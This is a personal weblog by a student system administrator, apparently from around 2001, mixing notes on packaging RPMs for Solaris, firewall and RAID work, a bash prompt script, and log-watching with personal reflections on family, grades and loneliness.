I've been working on a laptop system that we're hoping to use as a `console' to some of our servers. Unfortunately, it's not going to do the trick. We need something that can plug into the serial ports of all of our servers, so the laptop will probably get replaced with a PC with a multi-port serial card. If we can find the money in our budget, we might get a small 1U Cyclades terminal server instead, which would be very cool.
We need to get a SCSI card for at least one of the Linux boxes at work, since I've been playing with getting some tape drives going on one of the Sparc 20s. If it goes away, we need another system to plug into.
It feels like it's been a month since school finished, though it's only been a week. That's good, though, since it means I've actually been interested in the stuff I've been doing.
Hmm.. It's the weekend. I should go outside.
jmallett: You managed to remind me that I've been forgetting to find a copy of NEXTStep to put on a `pizza box' NeXT system we have here at my apartment. I haven't been able to determine if there's supposed to be free/cheap media available from Apple or anywhere. I did find one guy that would burn a copy for me, but that was a few months ago, and I never found a good time to go over and do it..
Anyway, I just read this interesting article at Byte. Interesting to see that some of the limitations in Linux actually appear to be due to the fact that PC hardware sucks. x86 processors have certain limitations, like only being able to have memory page sizes of 4kB (too small) or 4MB (too big). IDE has problems as well. It's amazing how willing the kernel developers are to find workarounds for hardware problems..
I'm all alone in the apartment. Two of my roommates are in Milwaukee (though one's coming back today), and the other is out East somewhere, doing something for his job (he's an engineering intern at Northwest Airlines).
It's a Monday, alright. A little tough getting up this morning -- it was cool and cloudy this morning, compared to last week when it was pretty light out at 6:00 or so.
Anyway, I'm just trying to make our Solaris boxes a little more user-friendly (well, more friendly to me, at least). I just tried compiling vim, thinking it would work better than the system's vi in terms of key handling (arrows, backspace, delete, etc), but it wasn't. *sigh*
It's really annoying that we don't have bash in the same spot on all of our servers, so I can't easily set up accounts to use /bin/bash if bash exists in /usr/local/bin/bash on other systems in the NIS domain. I suppose I should try to change that somehow. I'm really tired of sh.
I'm putting together a list of the software I'd like to put on right away when we get the next Sun box. Things like GNU fileutils. We've been using a lot of packages from Sun Freeware, but they're annoying to use. I'd like to get rpm installed, since it's easier for me to use, and because it's usually very easy to make packages (well, if the .spec files are included in the source tarballs, anyway).
I'd rather just use Linux, but I'll make do with what we've got..
I'm in the process of attempting to get RPM (yes, RedHat Package Manager) working on Solaris 2.6 and 7. I have one box that I'm attempting to strip out all of the Free software that we've already installed, so that I can determine exactly what it is I need to get RPM up and running.
I figure I need a compiler (stupidly, we don't have Sun's compiler on this box, but that's okay since the RPM docs say you need gcc anyway), some libraries, and that's about it. Once RPM itself is up and running, those packages have to be recompiled and made into RPMs. The Sun pkg files would be removed, and the RPMs would be installed, and RPM itself will probably have to be recompiled and reinstalled.
Once that's accomplished, it should be insanely easy to build packages for Solaris (whee!), or at least a helluva lot easier than making pkgs.
One thing I'm not so sure about: should the RPMs all be built to be put their files in /usr/local? The Linux Way of doing things is growing on me, so I'd personally rather put packages in more normal locations, but I suspect there's a chance that doing so could cause Really Bad Things to happen.
At least it doesn't matter too much if I screw up -- the system I'm doing this on right now is an old Sparc 20 that's going away fairly soon, and I'll probably fiddle with another UltraSparc system before it gets taken down when the new E220R comes in.
Well, I got a few e-mails from people regarding RPM on Solaris. I'm sure that by the time I get home, there will be a bunch more waiting. They'll probably all have obvious answers to the things I've been trying to accomplish ;-)
Early on, I had tried to just build from RedHat Source RPMs, but I eventually figured out how doing that wasn't the greatest idea in the world. RedHat patches things like crazy, and even though they invented RPMs, some people there certainly don't seem to know how to use it properly. I see that there's a lot of power in RPM that gets pretty well squashed when someone goes in and assumes that a particular file will go in a certain spot. I have had to go through and make my own .spec files for each package -- something I never wanted to do in my entire life, but hey.. It makes me wonder if people are going to create .spec file archives at some point.
At any rate, I do have it up and running -- 5 packages built so far, only about a hundred to go :-p
I'm very tired right now.. I've been staying up working on getting packages built on Solaris. I should really take a hint, and only work on it during daylight hours. Or, at least, stop trying to do all of it on a Sparc 20 ;-)
I think that once I get to the point of having rpm built as an RPM (which appears to be only a package or two away at this point), I'm going to try and move this development onto a faster system.
I'm seeing that there are a lot of nasty little tricks that people have to do when building RPMs. Patches galore. I still think a .spec file repository is a good idea. They'd be cross-platform files that worked on as many systems as possible. If enough programs just use autoconf/automake, most of the work is already done, and the spec file just worries about where all of the files end up, plus the install/remove scripts.
If that were to be successful, I think it would just be more evidence of Linux being a unifying force in the Unix world. Granted, this would just be due to a program, but a program that originally came from Linux.
Looks like we're getting a new Intel box to run Linux on here at work. The plan is to make it be a log host, have a multi-port serial card to have serial console access to all of our servers, have it run Netsaint, and (I think) have a SCSI card in there so we can control a DAT drive to run some backups on the smaller systems.
Well, we had a scare at work -- one of our RAID arrays is giving us trouble. I left early today, though -- went home for Memorial Day weekend. I still have to pick up a gift for my Mom (belated Mothers' Day gift), and one for Dad (his birthday was six days later). I do have a gift for my brother, though (his birthday landed three days after Mothers' Day).
RPM building for Solaris/Sparc went pretty well today, though I didn't get too many packages done due to the problems with the RAID. install-info continues to give me trouble, as it can't seem to find the gzip binary when it gets run from an RPM post-install script. Maybe I have to append things to the $PATH? I'd hate to have that sort of stuff in an install script...
Well, I picked up some gifts for the family. Got Dad a small Mag-Lite and a fiber-optic adapter, for working on computers.. Got a set for myself, too, though I wonder if there's really enough light going through the cable. Perhaps I should have tried to find the 20 inch version. Also got Mom a t-shirt that said ``I want to be a Millionaire (and that's my final answer).'' Got my brother Secrets and Lies by Bruce Schneier.
Got gettext packaged on Solaris. I still should really go through and re-compile a lot of stuff, though I should probably try to at least move this compile stuff onto the dual-processor Sparc 20 (though I'd still have to install Solaris first -- it has Debian on it at the moment).
Hmm.. Underline tags (<ul>?) seem to be broken on advogato, or at least on whatever version of Netscape I'm using.
Instead of watching TV, since reception is bad these days (the 14 foot antenna on our roof has probably been slowly deteriorating), my family and I have been listening to the radio. Car Talk, A Prairie Home Companion, and Whad'ya Know. Probably much more entertaining than anything we could have found on TV anyway.
We're planning to go see The Tailor of Panama tonight.
I'm a little concerned that Microsoft will probably be in posession of the personal information (names, addresses, credit card numbers) of hundreds of millions of people by this time next year. Apparently, when you first log onto the Internet on Windows XP, it asks you all sorts of things. It's supposed to make things easier for the consumer -- you can easily buy things without having to re-enter information, for example -- but how much do you trust Microsoft?
At work, we're inheriting a dual-processor workstation that we'll be using as a print server, log host, and monitoring system. Hopefully it'll work out.
My boss is acting pretty crazy, getting ready for our new server. I hope I'm actually doing the work he wants me to do.
I think I'm supposed to move to a new office tomorrow, but I'm not really sure. Fun.
Late Evening
Well, I finally got around to downgrading glibc on my system -- looks like it helped. I had been having trouble with a lot of `Illegal Instruction' errors while attempting to compile things. I had picked up glibc-2.2.2-10 from RedHat 7.1, thinking that it would work okay on RH 7.0, but it didn't. Picking up glibc-2.2-12 from RedHat's updates appears to have done the trick.
Er, almost. Still got an `Internal error: Segmentation Fault' on gcc when making sylpheed, but there are not nearly as many errors as what I was getting.. Maybe I picked up a mismatched gcc as well. Hmm.
Stopped by Blockbuster last night, even though I knew Tora! Tora! Tora! was going to be checked out. If I'm going to watch a movie about Pearl Harbor, I might as well watch a good one ;-)
No other movies really jumped out at me, and it's hard for me to actively decide to get a DVD. It does provide a better viewing experience, but I still have moral issues with it.
Tried out John the Ripper here at work. Well, well, well. It cracked 20 passwords in about as many seconds (okay, it took longer than that, but only because I was using a P133). Now I just need to find something that works on an SMP machine ;-)
gcc still barfs on my machine at home every so often. Maybe I got a bad version of binutils, too... I still think RedHat has been compiling stuff for i686 rather than i586 (or less). Or maybe K6's just suck.
I'm now officially in the process of moving from my office to the new place. I'm not exactly sure what to call it -- it's the room outside the server room, and I'll be sitting near some lab support people.
I have to move my stuff out of the old office because it's getting painted on Monday, but I won't get a decent desk setup in my new location until Tuesday. I moved two servers down and have them running in a corner that's relatively out of the way.
I put my workstation (heh `workstation' is a poor description of a P166, but it had been up and running for 283 days when I shut it down ;-) on the desk that is currently there, but I'm not sure if I have enough room for two more systems that I have to bring down, not counting the box that I will be using as a Win2k system pretty soon (That one will just have to wait, I think). However, I guess I can just run the Sparc 20 headless for a while, and I think I can find room for the Intel box I still have to bring down. It's just annoying to think that I have to re-arrange things again on Tuesday.
Ah yes, those folks are going to love me, with all of the fan noise and heat I'll be generating with my systems ;-)
There's a Netsaint box that I should really muck around with some more, but it's going to be upgraded/replaced soon, so maybe I shouldn't get ahead of myself.
Well, most of my stuff is out of the old office. I left a large Sun monitor, since I didn't have anywhere to put it. Never fear, it'll probably join its (now headless) host next week.
Hmm. I'm distracted
Phoon: you can hot swap PS/2 keyboards, but it's not a recommended practice as there's a distinct possibility that you'll fry the motherboard. I've never had much of a problem, although I've always had to reset the keyboard rate with `kbdrate'.
Hmm. My system decided to kill Konqueror and X at about 3AM last night, probably for using excessive amounts of memory. I didn't even know Konqueror was running when I went to bed, it must have been in one of those not-quite-exited states. Also, there's a pretty good chance that XScreensaver is the responsible party.
I'm considering adding weather information to the network monitor box that currently has Netsaint and MRTG. Apparently, we were under a tornado watch or warning yesterday while I was at work, and I had no idea..
I figure I can just use Geo::METAR to get temperature, humidity and so forth (that's what I use on my page), and then grab some images from the National Weather Service and merge them together into an animation of some kind (gif, png, mng, mpeg, or something).
Later
Physical Hacking
I went to the Twin Cities Robo-- uh, I mean Mech Wars (apparently they got sued). I guess this was only their second event, and it showed in the construction of the arena, which was just made up of two-by-fours. One of the competitiors had been on Battlebots and had managed to throw a chunk of something through the plexiglass on the show, so the design of the arena will have to be improved by the end of the summer. There are going to be competitions daily during the Minnesota State Fair, so I'll have to head over there at least once to see some of the action (and I'll probably drag some of my friends along).
The event shoud have some coverage on WCCO and KMSP tonight.
jschauma: Thanks for the heads-up about Linus, though I should point out that Fresh Air is not broadcast at the same time throughout the US. Check here for when it's on in your area.
Anyway, I got myself a new 'pooter today. Well, just a case, CPU, fan, memory, and motherboard, but it's a 1.3 GHz system. Unfortunately, I think I may have a CPU that can only run with a 200MHz FSB. I had them put those parts together, then I transferred the other guts later, so I'm not sure what the jumper on the motherbard is set to. Still, 1.3 GHz is nice. Stuff actually pops up right when I click a button (well, okay, Netscape still takes a few seconds).
I think I have an Enlight 7237 case. At any rate, it looks the same. I'm a little concerned about airflow in it though, and I might have to drill out the front holes like this.
I don't seem to have a temperature sensor onboard anywhere, which is disappointing. I may have to look around for one, though I'm not sure how I'd attach it to my system.. I guess I have a serial port available..
Hmm.. Does shared memory work at all on Linux 2.4.5? I have a line in /etc/fstab that uses tmpfs. Is that right? Maybe free just isn't working right. I find it hard to believe that over half of my memory is being used as cache right now, plus another 50 Megs of buffer, which would put me below 128 MB of memory being used by programs? Well, it looks like my swap is getting hit fairly well in the meantime..
Were having network problems here at work, and it looks to me that we've been having trouble since Thursday. Sounds like one of the switches may have been overheating, as two of my coworkers just carried a big fan out the door..
Anyway, I spent way too much time overnight playing with my new computer. I didn't really get to sleep until 5:00 AM, mostly because I was watching movies ;-) I highly recommend the VideoLan client for that task, as it provided the smoothest playback for me. Try the CVS version too, as it seems to have somewhat better audio support.
I played around with ML-View, an improvement on dxpc. Unfortunately, it won't compile with GCC 2.96, but it worked great with 2.95.3 (which I was happy to discover could be compiled really quickly on my system). It seems to be a pretty good program, though the syntax is pretty ugly. I think it would even be a good thing to use on a LAN, because it can cache a lot of things, rather than dealing with the latency involved in sending data back and forth across the network.
Bleh, Advogato's front page is screwed up
Anyway, I finally got desk space in my new cube today. I'll apparently be sharing the area with three other people, and I don't know where they'll fit. Anyway, I guess I have one more box to move before I'm done (I decided to give the guy that uses that system a little warning before I moved it).
Yesterday and today, I put together some packages for GPG-enabled Sylpheed. GPG 1.0.6, GPGME 0.2.1, and Sylpheed 0.4.66. Seems to work pretty well. And on the 10th anniversary of PGP, too.
for j in $((for i in $(cat /var/log/messages | egrep '(ICMP|SYN)'); do echo $i; done) | grep SRC | sed 's/SRC=//' | sort | uniq); do host $j || (echo -n $j: ; whois $j@whois.arin.net | head -2 | tail -1); done
I'm logging pings and SYNs on my box now. Just thought I'd see what has been peeking around on our apartment's network. My system should be set up to ignore broadcast pings, though, so I probably won't get [m]any scans.
Recently, a user here had his Lotus Notes account broken into. The cracker apparently sent out messages stating that the user was in failing health, and other strange statements. It's partially my fault, as I had sent a password for one of our Unix systems to him by mail, which he then forwarded to his Hotmail account. Someone apparently got into his Hotmail account, grabbed his password, logged into the Unix system, and then somehow managed to crack his Notes account.
Either that, or my boss just doesn't know what he's talking about.
Anyway, I mentioned that this is just one reason why cryptographic signatures are good things. Now if I can just find a way to get an OpenPGP implementation that works with Lotus Notes...
Later
Perhaps I'm looking for S/MIME. There seem to be a lot of implementations of that for Notes.
Even Later
Gah! So much for that idea.
Mmm.. secure NFS. Hope that happens.
Anyway, I got snookered into trying to build a bridge firewall for our wireless network. At this point, I can do a bridge or a firewall, but a bridge firewall is currently not working. I guess I have to patch the kernel to bring the bridging code up a layer and push the whole mess through an IP filter of some kind (ipchains, iptables, ipfilter)
We want to be able to filter out data from unknown MAC addresses. This is possible to do directly on the wireless gateways, but that would require keeping several boxes in sync, and those things have fairly limited amounts of memory, so keeping large tables of addresses is not easy to do.
I'm not sure how possible this is. If *BSD can do it, maybe that will finally convince me to try it. However, it may just be easier to re-number a subnet and use a more traditional router setup.
Linux 2.4 is the only OS I know of that has built-in filters for MAC addresses. Of course, I only took a very quick look at IP Filter.. Perhaps there's something obvious that I'm missing.
If only I knew how to get cp437 on the web..
o/~ I want your girlfriend to be my girlfriend... o/~
Dammit.. Way too many unwanted sexual images today. I'm noticing it because I'm depressed about my grades. I got two Cs and two Ds. At this University, a D usually means a failed course. Dammit. I was depressed this past semester, and unmotivated. I really didn't want to deal with differential equations again, but they forced it upon me. Why can't they just drop the math? Dammit.
My Dad's coming up tomorrow, basically to get me out of the apartment, I guess. He'll also probably try to do some amateur psychology. Not really looking forward to it, but I really do need to get out of this place for a while. Maybe I can get to a decent movie or something.
I'm really introverted, and I don't get into social situations as much as I should. Even when I'm in them, I don't say much, but just being around others and not being forced out of the loop makes me feel better and reminds me that these carbon entities that pass by me every day actually have brains.
I'm enjoying my work life, and I can't complain about my generous parents. I just wish that I'd had the strength to get to know some of the girls I went to High School with. I ended up fixating on one, which I'll probably never forgive myself for. I'm scared to death that she might be scared to death of me.
I just listened to ``Pink Moon'' by Nick Drake. It's a song that makes me wonder about what my classmates have done in their lives, as the song was featured in a Volkswagen ad a year or so ago. You may recall it -- several friends are driving along the road at night, enjoying the open air (since the top was down). They arrive at a party, where a drunk guy stumbles past their headlights. The friends in the car look at each other, then pull away from the party and continue driving around.
I've been to one party in my entire life. I'm definitely much more like the people in the Volkswagen than the folks at the party.
Anyway, I suppose I should actually put something about computers in here. I think I'll have to re-work some of my ideas behind the wireless ethernet firewall. Now I think that the bridge is a little too low-level. MAC addresess can be spoofed, after all. I think I'll use a combination of MAC address and IP filtering, plus VPN through PoPToP or something similar.
Wow davem -- I was just talking with my boss today about how Sun systems could probably work with standard PCI video cards, save for the fact that many of them have x86-specific BIOSes. It's cool to see that you appear to have a workaround. Of course, I don't think I'm going to benefit from that anytime soon, but it's something I can put in the `future weird references' pile.
My boss actually really enjoys it when I appear to pull a solution out of my ass. The real answer is that I read way too much stuff on the web, but hey..
Today, I was banging my head on the wall most of the day, trying to get serial console working on a new Sun Enterprise 220R server. Dual 450MHz with 2GB of RAM (in 16 128MB sticks), two 35GB 10,000 RPM drives, and even a DVD drive (it'll be the first DVD drive in our server room ;-)
Anyway, after playing with cables for several hours, trying this and that, I finally connected two together and got something to work, though it defies explanation. I installed Debian, which went amazingly quickly, though I've only previously installed on much slower systems.
The Debian install was largely due to the fact that it'll probably be a few days before we can get our hands on a copy of Solaris. We have to deal with the campus folk who handle the site license. I think it'll be a good idea if we keep Linux on the system -- it may prove to be useful if Solaris ever gets toasted. Linux's UFS support is pretty weak, from what I hear, but we'd at least be able to make a backup in a worst-case scenario, and it would be something good to have if someone ever breaks into the system.
When a really interesting break-in happens on campus, the networking folks like to come in with a Bootable Business Card and dump the whole hard drive over the network so they can examine it more thoroughly. Of course, nobody has ported the BBC to Sparc (though I doubt it'd be very hard).
I'm sure that we would be running Linux on all of our Sun boxes if it weren't for the fact that we need some proprietary applications that aren't available for Linux/Sparc yet (AFAIK). Heck, a lot of it doesn't even exist for Linux/x86. Of course, we may need 64-bit userland, so I dunno..
Anyway, I'm still just learning when it comes to non-x86 architectures. I really like Linux and the GNU utilities.
Hmm.. I'll have to try and see if any apps will work with the Solaris emulation.. I doubt it's good enough for us, but it's worth a shot.
Well, we finally put the new Sun in one of our racks today. Unfortunately, the rack case is not quite big enough for it. We have to get rid of the front door for it to fit (and, of course, the stupid thing likes to slide out a little bit when you try to push it in). Oh well.
I got RPM up and running on the system's Solaris half yesterday. Before I left, I even got to the point of having OpenSSL and OpenSSH installed as RPMs (unfortunately, I haven't added in startup scripts for the SSH daemon, though I hope to fix that soon..)
Cripes. I should get chkconfig and some other goodies for Solaris as well. Porting RedHat's functions script for the init scripts would be another good thing to do.
Once we get proper licenses for Mathematica, Matlab, and other programs that will get used on this server, I'll just have to test them out on the Linux side and see if they can run there.
Also today, I went to a Net-People meeting -- a monthly gig where tech people from across the campus come together for a bitching session. Okay, it's definitely more productive and fun than that ;-) I went largely because I wanted to see what solutions the campus IT department was finding for wireless firewalls. I'm happy to find that I'm basically on the same wavelength as those guys. Unfortunately, that also means that they don't have a solution yet -- everything's just at an intermediate stage at the moment.
I'll probably just run PPTP for the moment. Unfortunately, I'm not sure if the problems with Microsoft's PPTP show up in their clients or their servers or what. At any rate, it's easier for me to get PPTP running on the system I have than it is to get IPsec going, as I don't have or want any compiler on the firewall..
Hopefully I'll get something up and going next week.
Oh yeah, sad to hear about the trouble around Netsaint. We use that at work, so I hope the project will continue.
I finally got some code down for retrieving more weather information. My local weather service station puts many of their products in an easily-accessible location, and the radar images aren't too hard to access either. Unfortunately, most sites appear to not provide the text messages in such a nice location.
The big problem with weather information is that the National Weather Service (and, indeed, much of the world) uses extremely cryptic standards (well, at first glance) for naming files and directories. I could be researching a huge amount, and still only scratch the surface. Cripes, I never said I wanted to be a meteorologist! Of course, maybe I can find a helpful one to get me to understand this stuff.. Maybe..
Anyway, I can download a few things, and I've set up a cronjob to make a radar loop using gifsicle.
Had my first Linux crash on my new system yesterday. I was looking at my radar loop in Mozilla. I'd looked at the image earlier, then had gone surfing elsewhere on the 'Net. I came back after a while, and discovered that Mozilla was only displaying a cached image. So, I did what anyone would do: Shift+Reload. It cleared the page, and started showing a few frames of the animation. Then, my swap just started growing like mad, and I ran out of memory in just a few seconds. Unfortunately, Linux 2.4 apparently can't handle it when you have 1:1 RAM:swap..
I could still ping the box, but I couldn't ssh in or anything. Dejected, I hit the reset button.
When the system came back up, I used GNU parted to shrink one of my partitions to give me enough room for a new ~256 MB swap partition (doubling my swap space to ~512 MB).
I tried it again. Again, my swap got chewed up really fast, the first 256 MB going by in just a few seconds. The system hung up for a few seconds when it reached the end of the first swap partition, but it came back shortly, albeit in a very unresponsive state.. (actually, now that I think about it, it's quite possible that the drives dropped out of UDMA mode at that point -- the responsiveness was much like a PIO IDE system under heavy disk load).
At that point, I slowly maneuvered the mouse up to the `X' to close Mozilla. Unfortunately, once the program was closed, the system still had a very large amount of swap space used up (a lot of stuff was still in buffers or cache, I guess).
I might go out and get another 256MB stick soon, but I wonder if I'll then have to bring my swap space up to 1 GB..
Been building more RPMs for Solaris. Ugh. I never said I wanted to become a distribution maintainer! ;-) Anyway, I spent most of yesterday trying to get gcc to build properly. Actually, it would always build fine, but I kept screwing up in the %file section. Annoying that I have to wait for a whole build cycle to test that (actually, I suppose there's an option to short-circuit to the end, but I'm not sure).
Today, I discovered that `cat' packaged with GNU textutils 2.0 will cat directories, just like Solaris' cat. That seemed really strange to me. I suppose I'll just have to pick up a newer package from alpha.gnu.org..
Anyway, I just keep finding more and more packages that I want. It's really enjoyable to grab a package from the FSF and do a pretty standard `configure; make; make install' (albeit in the ``RPM Way''), at least when you compare it to some of the other configuration systems in use out there..
Oh yeah, I thought it would be a grand idea to gzip the man pages on the packages I've been building. Unfortunately, I forgot that Solaris doesn't understand gzip-compressed files. Ugh. So I try to compile man (from ftp.win.tue.nl on Solaris. No dice, and the configuration is a PITA as well.. Of course, I'd like to compile man for other reasons -- it has the nice feature of allowing you to do `man ./file.1' to load a file outside of the MANPATH..
Blech..
Not much open-source hacking, but I did write to five companies that produce applications we're using on Solaris/Sparc, and asking if they could bother to try building Linux/Sparc versions. They all already had ports to Linux/Intel, and some of them had Linux/PPC and/or Linux/Alpha ports.
My boss and I agree that Linux is much nicer in a number of areas. Better security, better integration of cryptography (most distros come with SSH now, for instance), more user-friendly (I can't use a Unix box without GNU tools), and easier to administrate. It's so much easier to just `rpm -Uvh' or `apt-get install' a package than it is to bother recompiling, or fear downloading years-old packages from sunfreeware).
Solaris doesn't come with MD5 passwords, and I'm not sure if anyone has done it properly yet, while Linux has that integrated. Also, using the Global File System, Linux can have multiple systems reading/writing to a single shared device, which we'd really like to do with our RAID arrays. It comes with a real compiler, and you don't have to worry about whether the program you are about to run is the one in /usr/bin, /usr/ucb, /usr/ccs/bin, /usr/xpg4/bin or whatever..
Anyway, I'd be really happy if we get positive responses...and if they aren't all positive, I think we have some associates in other departments that would be happy to fire off a note voicing support.
Oh yeah, this is statistical/mathematical software like Mathematica, etc.
I just figured I'd list the software we're hoping to get Linux/Sparc versions of, so that we can transition away from Solaris where I work:
If there are folks out there who also want to run this stuff on Linux/Sparc, please contact those companies.. Considering most of them already have Linux/Intel versions, it probably won't take much convincing, but I'd just be really happy to have some support from others.. I'll have to make a similar request elsewhere around campus, as I think some other departments have been wanting to do this..
Not much open source hacking. I just got an NT box in my cube yesterday (after waiting for one for about a year). I'm playing around with permissions, etc, trying to make it behave more like a Unix system, with a home directory and everything. It sort of works..
Excellent! SAS is available for Linux/Sparc! One down, four to go.
Later
Well, I heard from two other places. They said they don't have their apps going on Linux/Sparc (yet). Those two are Gauss and Stata.
We're waiting on Matlab and Mathematica.
The really important apps are SAS and Matlab. Others can just be shoved off to our Linux/Intel servers, or put onto and old Sparc 20 (heh.. At least it has 2 processors ;-)
Hmm.. of course, if we keep a Solaris box, we may run into the problem that Solaris doesn't understand MD5 passwords (it does have PAM, so it should be possible to fix that, but I'm not sure how hard that is..)
I had an interesting weekend.. My apartment building's router died at about 1 AM on Saturday, so it didn't get fixed until about 8:30 on Monday. The stupid building management won't let anyone in to fix this sort of thing unless it's during business hours. I told the girl in the front office that this was unacceptible to me, as similar things have happened several times now..
It's likely that all that had to be done was to reset the router. I told them that if that was the case, they should just invest in a remote power switch accessible over the phone.
I'm getting curious as to what alternatives are available for our apartment.. DSL is probably more likely to work than a cable modem (seeing the tangle of boosters and things already here). It really sucks that one of the big selling points here was the Internet access..
Luckily, this coincided with a few friends coming into town, so we didn't just sit on our asses all weekend doing nothing.
I haven't heard from the Matlab or Mathematica people, though I did get pointed at GNU Octave again. I took a look at that -- I guess they strive to be at least semi-compatible with Matlab, which is pretty cool.
Today, I had a terrible time concentrating at work, so I left early and went for a bike ride (after my conversation with the front office folks..) and got burned..
<tangent> In High School, I became obsessed with one of the girls in my grade. I don't know why it happened, and I probably never will. Somehow I just got it in my head that we were somehow meant to be together. Even so, I kept my distance. I tried to talk to her, and we talked through a few phone calls and handwritten notes. It just didn't work, and I've had an empty part of me ever since High School ended.
My belief in possibilities turned her into a muse of sorts for me, though I guess it was all in my head. That's the most frustrating thing -- knowing that the pain I've felt by not being able to be with her is probably all due to my (then) over-active imagination.
Anyway, I thought I saw her the other day, which is partly why I decided to take my bike ride. A faint part of me still hopes that we'll see each other again, and finally speak face-to-face. I know the scales are against me, though I hope it would at least bring some much-needed closure.. </tangent>
Whoops, forgot to post this.. This is actually from Jun 27..
Spent the last two days at work figuring out how to share a Sun A1000 RAID array between two hosts -- one running Linux and the other running Solaris. Amazingly, the Solaris box didn't crash even though I did evil things like have conflicting SCSI IDs on the host adapter (something that killed Linux -- well, 2.2.18-pre21 from Debian, anyway).
Actually, I figured out how to get it going in a minimal fashion yesterday.
SILO boot: linux sym53c8xx=safe:y,hostid:5
Unfortunately, that only lets you do slow asynchronous transfers, while we would really like to do fast synchronous ones. After playing around, I came up with a really nasty append= line for silo.conf, but it seems to work. Both systems can read from the UFS filesystems at the same time (well, I only did a simple test of running `du' on the same directory at the same time on both machines).
We're planning to use this as a failover setup, so if one of our servers goes down for one reason or another (maintenance, or just playing, plus the extremely rare crash), NFS services will still be available.
I'd really like to get GFS going on that, but we'd need appropriate software to be available first.
Currently, it sounds like we're going to do several things. Migrate our main Solaris 2.6 server to 7, while putting it on our new box. Then we'll install Linux on that old system, along with whatever Linux/Sparc software we can get.
I came into the office this morning, after taking a long weekend (visiting grandparents in Fargo), to find a new black Dell Precision 330 sitting in my chair. I'd been looking for a new system in my office for about a year, then my boss gave me his old 500MHz system after he got one of these new Dells. One of the other folks that got a new Dell didn't like it (the dark color didn't match her monitor, or something..)
Anyway, as I'm a lowly student employee, I'm not sure if I'm actually entitled to the system or not. I sent a note off to my boss and his supervisor (who oversees much of the department), just asking if I can keep it or not. Who knows at this point.
It's a pretty sweet system -- UW-160 SCSI, 400MHz bus (not that I necessarily believe that statement), 1.2GHz processor.
It has RDRAM in it. I'll have to run some benchmarks to see how it stacks up against my 1.3GHz Athlon at home (though I'm not sure at the moment if my system has a 200MHz or 266MHz bus..)
blah blah blah
Over the weekend, I brought my old system up to replace the old KX-133 (a 133MHz 486, basically) that my grandparents had. The new system has over 10 times as much memory and disk space, and the processor is probably about 5 times as fast. The new video card is miles ahead of the old one (a VESA Local Bus card). Anyway, I'm confident that this system will be with them for a long time, and I doubt they'll ever have to upgrade it.
I had to use the LNX-BBC to repartition the new hard drive. My Dad had brought Norton Ghost along, but nothing was around that could delete partitions. I was getting ahead of myself when I was repartitioning, though. I created two main partitions (not counting the extended partition that held the second drive). I could format the first in Linux -- a 2GB FAT16 partition -- but I couldn't format the FAT32-labeled partition on the remaining 6GB. I copied files from the old C: drive to the new one with Ghost, and then upgraded the system to Win98. Upon rebooting, Win98 ran Scandisk, and managed to delete everything on the C: drive. It was getting confused by the labeled-but-not-formatted FAT32 partition. Removing that partition fixed the problem, but it was kind of scary.
I also discovered that if you try to run the Win98 upgrade/installation from a PC (IBM) DOS 7.0 boot diskette, it's slower than molasses...
I hope MS gets a $100 billion fine..
Obviously, the new computer turned out to be too good to be true. Being a student employee, it just doesn't fit with their normal practices to give me such a nice system. Oh well. I do at least have a decent 500MHz box for NT, and a P166 with 128MB of RAM for my Linux box. Maybe I should switch that around. Or, if I got more memory in the bigger box, I might be able to request a copy of VMWare, so I could run NT just as a guest OS.
Still, it's nice to just be able to mouse around and do things for once. Linux is powerful, but there still aren't any good file managers for it (IMHO). I tried to write one once, but didn't get very far.
Hmm. I think that whenever programmers do user-interface stuff (even if it's just command-line switches and informational output), they should really think about ``What do I really need? How often do I need it?'' etc. Personally, I really like how Netscape 4.x (under Linux) always has `Back' be the top option on the right-click popup menu, for example. It's annoying when that's not there.
When making a file manager, one should ask, what operations are done most frequently? I switch between normal and long views pretty frequently, so it would be great if that option is easily accessible. Also, most file managers (<petpeeve>and things like Gtk's file selector widget</petpeeve>) don't let you show/hide dotfiles easily.
I think a Unix file manager would have to have a command line. I do things like `ls *.html' far too often. Integrating a command line properly would be quite a trick, though..
Anyway..
I'm heading home for one night. Going to a bonfire (well, not quite -- just a fire, but we like to exaggerate a bit) with some friends for the 3rd. It's a semi-tradition for us. I'll be heading back up here tomorrow.
Got pointed at ROX-filer for a file manager. In the process of compiling an RPM at the moment (download.sourceforge.net seemed to be down, so I'm using files from ftp://rox.sourceforge.net/) Looks pretty good. I think I'd glanced at it previously, but it didn't appeal to me last time since it didn't have a tree view or something. The tree just makes things overcomplicated sometimes anyway, so I'll see how this works.
Went home for a very short stay. One of my friends picked me up in the evening on the 3rd. We went to his place (near home) for a bonfire. Some friends showed up, we threw a few pop cans in the fire (low-grade fireworks for those of us without permits for that sort of thing ;-) Stayed there until 2:30 in the morning, and went home and was in bed by 3:00. Sat around the house on the 4th, reading some magazines, then we went to see the show in Rochester. Actually, we got there a few hours early and just sat around there too. Finally got back to my apartment in the 'Cities around 1 AM. I forgot my jacket somewhere..
Anyway, I realized again that I'm not weird. Well, no more weird than my friends, at least.
Hmm, got rox 1.0.0 up and running. It's not enough for me. I suppose I'll have to try the devel version.
I think I'm going to stop by Cheapo on the way back to the apartment this evening. I need more music in my life.
Hmm, been sleeping in a bit too much lately. I've just had a really screwed up week or so, and my sleep schedule is still off..
Picked up a few more CDs today. One of them includes HDCD audio (``another Microsoft Buynnovation(tm)!''). I'm wondering if it's possible to retrieve that data or not. Apparently, the data gets spit out the S/P-DIF on any standard CD player with a digital output, so that's one way to get at it (in theory).
Also, the CD and liner notes bear no discernible copyright, which seems odd.
Otherwise, I was totally unproductive today. I mostly played with my bash prompt, trying to set it up so the path will first be displayed on the line above the main prompt, once it reaches a certain length. Then, when it starts to fill the screen, the path is truncated to keep it from running overboard and taking up multiple lines..
Ordinarily, it looks like this:
[mike@3po][/usr/src/linux]$
Then, when prompts get long:
[/media/music/By Artist/Presidents of the United States of America, The]
[mike@3po]$
And when things get really out of control..
[...step.bak/Library/AfterStep/start/Decorations/Screen savers/Without password]
[mike@3po]$
Apologies to those who don't like StyleSheets ;-)
Anyway, I put the source up here. Note that you will have to `touch ~/.iwantcolorprompt' if you want color stuff to show up.
Went home again. Dental appointment this morning (oh fun..) Came back to discover that one of my roommates had taken his receiver in to the Sony service center about 20 miles away. It wasn't powering up properly when I left on Saturday. It's under warranty and everything, and it should be back in in about a week.
I need to read up on the GNU Mono and DotGNU projects. If it's worthwhile, I'll have to sign up and do something. I can't sit idly by while Microsoft unloads all of their resources into something that appears to heavily damage our freedoms. I just don't want to get involved if the project ends up just helping MS along.
At any rate, it requires more research, and I don't know if I'd be able to help at all (I really have no good way to measure what level my skills are at yet..)
